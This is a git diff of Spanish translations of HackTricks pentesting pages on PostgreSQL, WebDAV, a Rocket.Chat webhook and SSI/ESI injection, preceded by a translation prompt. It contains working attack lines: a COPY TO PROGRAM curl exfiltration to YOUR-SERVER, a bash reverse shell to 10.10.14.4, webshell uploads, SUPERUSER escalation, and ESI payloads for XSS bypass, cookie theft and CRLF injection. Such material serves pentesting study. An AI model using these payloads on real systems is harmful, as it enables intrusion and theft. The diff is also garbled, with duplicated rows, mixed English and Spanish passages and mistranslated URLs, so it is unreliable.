El siguiente es contenido de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo network-services-pentesting/pentesting-postgresql.md. Traduzca el texto relevante en inglés al español y devuelva la traducción manteniendo la sintaxis de markdown. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube / SaaS (como Workspace, aws, gcp ...), la palabra 'leak', pentesting y etiquetas de markdown. Además, no agregue nada aparte de la traducción y la sintaxis de markdown.
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -120,17 +120,17 @@ Desafortunadamente, no parece haber una forma de obtener los detalles de la exce
| Tipos de roles | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | El rol tiene privilegios de superusuario |
| rolinherit | El rol hereda automáticamente los privilegios de los roles de los que es miembro |
| rolcreaterole | El rol puede crear más roles |
| rolcreatedb | El rol puede crear bases de datos |
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser dado como el identificador de autorización de sesión inicial. |
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
| rolconnlimit | Para roles que pueden iniciar sesión, esto establece el número máximo de conexiones simultáneas que este rol puede hacer. -1 significa sin límite. |
| rolpassword | No es la contraseña (siempre se lee como `********`) |
| rolvaliduntil | Hora de caducidad de la contraseña (solo se usa para la autenticación de contraseña); nulo si no hay caducidad. |
| rolsuper | El rol tiene privilegios de superusuario |
| rolinherit | El rol hereda automáticamente los privilegios de los roles de los que es miembro |
| rolcreaterole | El rol puede crear más roles |
| rolcreatedb | El rol puede crear bases de datos |
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser dado como el identificador de autorización de sesión inicial |
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
| rolconnlimit | Para roles que pueden iniciar sesión, esto establece el número máximo de conexiones simultáneas que este rol puede hacer. -1 significa sin límite. |
| rolpassword | No es la contraseña (siempre se lee como `********`) |
| rolvaliduntil | Hora de caducidad de la contraseña (solo se utiliza para la autenticación de contraseña); nulo si no hay caducidad |
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulte la [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obtener más información. |
| rolconfig | Valores predeterminados específicos del rol para las variables de configuración en tiempo de ejecución. |
| rolconfig | Valores predeterminados específicos del rol para las variables de configuración en tiempo de ejecución |
| oid | ID del rol |
#### Grupos interesantes
@ -231,14 +231,14 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Recuerda que si no eres un superusuario pero tienes los permisos **CREATEROLE**, puedes **agregarte como miembro de ese grupo:**
Recuerda que si no eres un superusuario pero tienes los permisos **CREATEROLE**, puedes **hacerte miembro de ese grupo:**
```sql
GRANT pg_read_server_files TO username;
```
[**Más información.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Existen **otras funciones de postgres** que se pueden utilizar para **leer archivos o listar un directorio**. Solo los **superusuarios** y los **usuarios con permisos explícitos** pueden utilizarlas:
Existen **otras funciones de postgres** que se pueden utilizar para **leer archivos o listar un directorio**. Solo los **superusuarios** y los **usuarios con permisos explícitos** pueden usarlas:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -262,11 +262,11 @@ SHOW data_directory;
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Puedes encontrar **más funciones** en [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
Puede encontrar **más funciones** en [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### Escritura de archivos simples
Solo los **super usuarios** y los miembros de **`pg_read_server_files`** pueden usar copy para escribir archivos.
Solo los **superusuarios** y los miembros de **`pg_read_server_files`** pueden usar copy para escribir archivos.
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
@ -299,7 +299,7 @@ Sin embargo, hay **otras técnicas para cargar archivos binarios grandes:**
### **RCE a programa**
Desde la versión 9.3, solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
Desde la [versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -343,7 +343,7 @@ Una vez que haya **aprendido** del post anterior **cómo cargar archivos binario
### RCE en el archivo de configuración de PostgreSQL
El archivo de **configuración** de postgresql es **editable** por el usuario **postgres** que es el que ejecuta la base de datos, por lo que como **superusuario** puede escribir archivos en el sistema de archivos y, por lo tanto, puede **sobrescribir este archivo**.
El **archivo de configuración** de postgresql es **editable** por el usuario **postgres** que es el que ejecuta la base de datos, por lo que como **superusuario** puede escribir archivos en el sistema de archivos y, por lo tanto, puede **sobrescribir este archivo**.
![](<../.gitbook/assets/image (303).png>)
@ -410,9 +410,9 @@ Los usuarios con este rol también pueden **cambiar** las **contraseñas** de ot
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Escalada de privilegios a SUPERUSER
#### Privesc a SUPERUSER
Es bastante común encontrar que **los usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que haya obtenido **permisos para ejecutar código**, puede abusar de estos permisos para obtener el rol de **`SUPERUSER`**:
Es bastante común encontrar que **los usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que haya obtenido **permisos para ejecutar código**, puede abusar de estos permisos para otorgarse el rol de **`SUPERUSER`**:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
@ -432,9 +432,9 @@ host all all ::1/128 trust
En [este **artículo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías obtener un **error** que lo impida, pero aparentemente GCP dio esa **opción al usuario postgres no superusuario** en GCP:
Cuando intentas **hacer que otro usuario sea dueño de una tabla**, deberías obtener un **error** que lo impida, pero aparentemente GCP dio esa **opción al usuario postgres no superusuario** en GCP:
<figure><img src="../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Uniendo esta idea con el hecho de que cuando se ejecutan los comandos **INSERT/UPDATE/ANALYZE** en una **tabla con una función de índice**, la **función** se **llama** como parte del comando con los **permisos del propietario de la tabla**. Es posible crear un índice con una función y dar permisos de propietario a un **superusuario** sobre esa tabla, y luego ejecutar ANALYZE sobre la tabla con la función maliciosa que podrá ejecutar comandos porque está utilizando los privilegios del propietario.
```c
@ -477,7 +477,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Inicio de sesión local
Algunas instancias mal configuradas de postgresql podrían permitir el inicio de sesión de cualquier usuario local, es posible hacerlo localmente desde 127.0.0.1 utilizando la función **`dblink`**:
Algunas instancias mal configuradas de postgresql podrían permitir el inicio de sesión de cualquier usuario local, es posible iniciar sesión localmente desde 127.0.0.1 utilizando la función **`dblink`**:
```sql
\du * # Get Users
\l # Get databases
@ -490,7 +490,7 @@ SELECT * FROM dblink('host=127.0.0.1
RETURNS (result TEXT);
```
{% hint style="warning" %}
Tenga en cuenta que para que la consulta anterior funcione **debe existir la función `dblink`**. Si no existe, puede intentar crearla con
Tenga en cuenta que para que la consulta anterior funcione **la función `dblink` debe existir**. Si no existe, puede intentar crearla con
```sql
CREATE EXTENSION dblink;
```
@ -508,9 +508,9 @@ Es posible verificar si esta función existe con:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Función definida por el usuario con** SECURITY DEFINER
### Función definida por el usuario con SECURITY DEFINER
En [este artículo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters pudieron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque encontraron esta función con la bandera **SECURITY DEFINER**:
En [este artículo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters pudieron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque encontraron esta función con la bandera SECURITY DEFINER:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -545,7 +545,7 @@ Y luego **ejecutar comandos**:
### Realizar fuerza bruta con PL/pgSQL
PL/pgSQL, como un **lenguaje de programación completamente funcional**, permite un mayor control procedural que SQL, incluyendo la **capacidad de usar bucles y otras estructuras de control**. Las declaraciones SQL y los disparadores pueden llamar a funciones creadas en el lenguaje PL/pgSQL.\
PL/pgSQL, como un lenguaje de programación **completamente funcional**, permite un mayor control procedural que SQL, incluyendo la **capacidad de usar bucles y otras estructuras de control**. Las declaraciones SQL y los disparadores pueden llamar a funciones creadas en el lenguaje PL/pgSQL.\
**Puede abusar de este lenguaje para pedirle a PostgreSQL que realice fuerza bruta en las credenciales de los usuarios.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
@ -571,7 +571,7 @@ sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Luego, **reinicie el servicio**.
Entonces, **reinicie el servicio**.
### pgadmin
@ -591,7 +591,7 @@ La autenticación del cliente es controlada por un archivo de configuración fre
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario**, y el **método de autenticación** que se utilizará para las conexiones que coincidan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, la dirección del cliente, la base de datos solicitada y el nombre de usuario **se utiliza** para realizar la autenticación. No hay "fall-through" o "backup": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
Los métodos de autenticación **basados en contraseña** son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, con hash MD5, cifrado con crypt y en texto claro. Una limitación es que el método crypt no funciona con contraseñas que han sido cifradas en pg\_authid.
Los métodos de autenticación **basados en contraseña** son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, con hash MD5, cifrado con crypt y texto sin formato. Una limitación es que el método crypt no funciona con contraseñas que han sido cifradas en pg\_authid.
<details>
@ -608,7 +608,7 @@ Los métodos de autenticación **basados en contraseña** son **md5**, **crypt**
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -3,7 +3,7 @@
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -20,7 +20,7 @@ Obtenga acceso hoy:
</details>
Un servidor **HTTP con WebDav** activo es un servidor donde probablemente se puedan **actualizar, eliminar, mover, copiar** archivos. **A veces** necesitará tener **credenciales válidas** (generalmente verifique con la autenticación básica HTTP).
Un servidor **HTTP con WebDav** activo es un servidor donde probablemente se puedan **actualizar, eliminar, mover, copiar** archivos. **A veces** se **necesitan** credenciales **válidas** (generalmente se comprueba con la autenticación básica HTTP).
Debe intentar **cargar** algún **webshell** y **ejecutarlo** desde el servidor web para tomar el control del servidor.\
Por lo general, para **conectar** un servidor WebDav necesitará **credenciales válidas**: [**fuerza bruta de WebDav**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Autenticación básica)_.
@ -40,7 +40,7 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
```
Salida de ejemplo:
![](<../../.gitbook/assets/image (19) (1) (1).png>)
![](<../../.gitbook/assets/image (19) (1).png>)
Esto no significa que las extensiones **.txt** y **.html se estén ejecutando**. Esto significa que puedes **acceder a estos archivos** a través de la web.
@ -52,13 +52,41 @@ cadaver <IP>
```
## Petición PUT
The HTTP PUT method is used to update a resource on a server. In the context of web applications, this method is often used to update data on a server-side database. However, it can also be used to upload files to a server.
### Description
El método HTTP PUT se utiliza para actualizar un recurso en un servidor. En el contexto de las aplicaciones web, este método se utiliza a menudo para actualizar datos en una base de datos del lado del servidor. Sin embargo, también se puede utilizar para cargar archivos en un servidor.
### Descripción
WebDAV servers also support the PUT method, which allows clients to upload files to the server. This can be useful for attackers who want to upload malicious files to a server.
The HTTP PUT method is used to update a resource on a server. In the context of web applications, this method is often used to update files on a web server.
Los servidores WebDAV también admiten el método PUT, que permite a los clientes cargar archivos en el servidor. Esto puede ser útil para los atacantes que desean cargar archivos maliciosos en un servidor.
El método HTTP PUT se utiliza para actualizar un recurso en un servidor. En el contexto de las aplicaciones web, este método se utiliza a menudo para actualizar archivos en un servidor web.
WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP protocol that allows clients to perform remote Web content authoring operations. WebDAV is often used to manage files on a web server.
WebDAV (Web Distributed Authoring and Versioning) es una extensión del protocolo HTTP que permite a los clientes realizar operaciones de autoría de contenido web remoto. WebDAV se utiliza a menudo para gestionar archivos en un servidor web.
### Vulnerability
### Vulnerabilidad
The PUT method can be vulnerable to attacks if the server does not properly validate the input data. An attacker can use the PUT method to upload a malicious file to the server, or to modify an existing file to include malicious code.
El método PUT puede ser vulnerable a ataques si el servidor no valida correctamente los datos de entrada. Un atacante puede utilizar el método PUT para cargar un archivo malicioso en el servidor, o para modificar un archivo existente para incluir código malicioso.
### Exploitation
### Explotación
To exploit this vulnerability, an attacker can use a tool like curl to send a PUT request to the server with a malicious file as the payload. The attacker can then use the file to execute code on the server or to gain access to sensitive information.
Para explotar esta vulnerabilidad, un atacante puede utilizar una herramienta como curl para enviar una petición PUT al servidor con un archivo malicioso como carga útil. El atacante puede entonces utilizar el archivo para ejecutar código en el servidor o para acceder a información sensible.
### Mitigation
### Mitigación
To mitigate this vulnerability, the server should properly validate all input data and should only allow authorized users to perform PUT requests. Additionally, the server should be configured to limit the size and type of files that can be uploaded using the PUT method.
Para mitigar esta vulnerabilidad, el servidor debe validar correctamente todos los datos de entrada y sólo permitir a los usuarios autorizados realizar peticiones PUT. Además, el servidor debe estar configurado para limitar el tamaño y el tipo de archivos que se pueden cargar utilizando el método PUT.
```
curl -T 'shell.txt' 'http://$ip'
```
@ -73,9 +101,9 @@ Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Vulnerabilidad WebDav de IIS5/6
## Vulnerabilidad WebDav en IIS5/6
Esta vulnerabilidad es muy interesante. El **WebDav** no permite **cargar** o **renombrar** archivos con la extensión **.asp**. Pero puedes **burlar** esto **añadiendo** al final del nombre **";.txt"** y el archivo se **ejecutará** como si fuera un archivo .asp (también puedes **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
Esta vulnerabilidad es muy interesante. El **WebDav** no permite **cargar** o **renombrar** archivos con la extensión **.asp**. Pero puedes **burlar** esto **añadiendo** al final del nombre **";.txt"** y el archivo se ejecutará como si fuera un archivo .asp (también puedes **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
Luego puedes **cargar** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, se **ejecutará** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
@ -83,10 +111,10 @@ Luego puedes **cargar** tu shell como un archivo ".**txt"** y **copiar/moverlo a
## Publicar credenciales
Si el Webdav estaba usando un servidor Apache, debería buscar en los sitios configurados en Apache. Comúnmente:\
Si el Webdav estaba usando un servidor Apache, deberías buscar en los sitios configurados en Apache. Comúnmente:\
_**/etc/apache2/sites-enabled/000-default**_
Dentro de él, podría encontrar algo como:
Dentro de él, podrías encontrar algo como:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav

View File

@ -13,18 +13,18 @@ const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configura el WebHook (el canal y el nombre de usuario del post deben existir):
* Configura el WebHook (el canal y el nombre de usuario para publicar deben existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
* Configura el script del WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
* Guarda los cambios
* Obtén la URL del WebHook generada:
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Llámalo con curl y deberías recibir la shell inversa

View File

@ -1,12 +1,25 @@
## Información básica sobre la inclusión del lado del servidor
## Inyección de Inclusión de Servidor/Inclusión de Borde de Servidor
Las SSI (Inclusiones del lado del servidor) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información Básica de Inclusión de Servidor
Los SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
Por ejemplo, se puede colocar una directiva en una página HTML existente, como:
`<!--#echo var="DATE_LOCAL" -->`
Y, cuando se sirve la página, este fragmento se evaluará y se reemplazará con su valor:
Y, cuando se sirve la página, este fragmento se evaluará y se reemplazará por su valor:
`Martes, 15-Ene-2013 19:28:54 EST`
@ -49,9 +62,9 @@ Una expresión SSI típica tiene el siguiente formato:
<!--#set var="name" value="Rich" -->
```
## Inclusión en el borde
## Inclusión en el Lado del Borde
Hay un problema al **almacenar en caché información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que debe generarse** antes de enviar la versión en caché.\
Existe un problema al **almacenar en caché información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que debe generarse** antes de enviar la versión en caché.\
Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
### Detección de ESI
@ -90,7 +103,7 @@ hell<!--esi-->o
* **Vars**: Admite la directiva `<esi:vars>`. Útil para eludir los filtros XSS
* **Cookie**: Las cookies del documento son accesibles para el motor ESI
* **Upstream Headers Required**: Las aplicaciones de intermediario no procesarán las declaraciones ESI a menos que la aplicación de origen proporcione las cabeceras
* **Host Allowlist**: En este caso, las inclusiones de ESI solo son posibles desde los servidores de host permitidos, lo que hace que, por ejemplo, SSRF solo sea posible contra esos hosts
* **Host Allowlist**: En este caso, las inclusiones ESI solo son posibles desde los servidores de host permitidos, lo que hace que, por ejemplo, SSRF solo sea posible contra esos hosts
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
@ -109,7 +122,7 @@ La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta
```
El archivo _http://atacante.com/xss.html_ puede contener una carga útil XSS como `<script>alert(1)</script>`
#### Bypass de protección XSS del cliente
#### Saltar la protección XSS del cliente
```markup
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -117,7 +130,7 @@ Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Robar Cookie
#### Robo de Cookie
* Robo remoto de cookie
```markup
@ -145,7 +158,7 @@ No confundir con una "Inclusión de archivo local":
```
#### CRLF
CRLF significa Carriage Return Line Feed. Es una secuencia de caracteres que se utiliza para representar el final de una línea de texto y el comienzo de otra en un archivo de texto. En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de CRLF para realizar ataques de inyección de código o para manipular la salida del servidor.
CRLF significa Carriage Return Line Feed. Es un término que se refiere a la secuencia de caracteres que se utilizan para representar el final de una línea de texto en un archivo. En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de CRLF para inyectar código malicioso en una aplicación web.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
@ -169,7 +182,7 @@ Lo siguiente agregará una cabecera `Location` a la respuesta.
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
```
<figure><img src="../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
#### CRLF en Agregar cabecera (**CVE-2019-2438)**
```markup
@ -186,7 +199,7 @@ Esto enviará información de depuración incluida en la respuesta:
```
### ESI + XSLT = XXE
También es posible agregar inclusiones ESI basadas en **Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT)** mediante la especificación del valor `xslt` para el parámetro _dca_. La siguiente inclusión hará que el servidor HTTP solicite el archivo XML y el archivo XSLT. El archivo XSLT se utiliza para filtrar el archivo XML. Este archivo XML se puede utilizar para realizar ataques de _Entidades Externas XML (XXE)_. Esto permite a los atacantes realizar ataques SSRF, lo cual no es muy útil ya que esto debe realizarse a través de inclusiones ESI, que es un vector SSRF en sí mismo. Las DTD externas no se analizan ya que la biblioteca subyacente (Xalan) no tiene soporte para ellas. Esto significa que no podemos extraer archivos locales.
También es posible agregar ESI basado en **Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT)** mediante la especificación del valor `xslt` al parámetro _dca_. La siguiente inclusión hará que el servidor HTTP solicite el archivo XML y XSLT. El archivo XSLT se utiliza para filtrar el archivo XML. Este archivo XML se puede utilizar para realizar ataques de _Entidades Externas XML (XXE)_. Esto permite a los atacantes realizar ataques SSRF, lo cual no es muy útil ya que esto debe realizarse a través de inclusiones ESI, que es un vector SSRF en sí mismo. Las DTD externas no se analizan ya que la biblioteca subyacente (Xalan) no tiene soporte para ello. Esto significa que no podemos extraer archivos locales.
```markup
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -196,7 +209,7 @@ El archivo XSLT:
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Revisa la página de XSLT:
Revisa la página XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
@ -204,10 +217,10 @@ Revisa la página de XSLT:
### Referencias
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
* [https://www.gosecure.net/blog/2018/04/03/mas-alla-del-xss-inyeccion-de-inclusion-en-el-lado-del-servidor/](https://www.gosecure.net/blog/2018/04/03/mas-alla-del-xss-inyeccion-de-inclusion-en-el-lado-del-servidor/)
* [https://www.gosecure.net/blog/2019/05/02/inyeccion-de-esi-parte-2-abuso-de-implementaciones-especificas/](https://www.gosecure.net/blog/2019/05/02/inyeccion-de-esi-parte-2-abuso-de-implementaciones-especificas/)
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
* [https://infosecwriteups.com/explorando-el-mundo-de-la-inyecci%C3%B3n-de-esi-b86234e66f91](https://infosecwriteups.com/explorando-el-mundo-de-la-inyecci%C3%B3n-de-esi-b86234e66f91)
## Lista de detección de fuerza bruta
@ -217,10 +230,10 @@ Revisa la página de XSLT:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
